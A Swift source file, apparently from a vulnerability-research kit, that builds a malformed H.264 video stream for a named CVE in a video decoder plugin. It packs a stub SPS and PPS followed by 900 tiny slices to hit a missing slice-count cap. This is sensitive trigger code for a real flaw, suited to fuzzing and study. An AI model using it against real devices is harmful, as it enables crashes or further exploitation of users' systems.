// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// AVC slice count cap missing
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── seed construction (from Cinder27 Sources: VideoPayload) ──
enum VideoPayload {
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
        var out = Data()
        out.append(contentsOf: [0, 0, 0, 1])
        // SPS
        var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
        // exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
        sps += [0xE8, 0x38, 0x00]
        // fake but structurally plausible; the decoder's own error tells us how far it got
        sps += [UInt8](repeating: 0x00, count: 8)
        out.append(contentsOf: sps)
        out.append(contentsOf: [0, 0, 0, 1])
        out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80])   // PPS
        for i in 0..<sliceCount {
            out.append(contentsOf: [0, 0, 0, 1])
            let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
            out.append(contentsOf: header)
            out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
        }
        return out
    }

}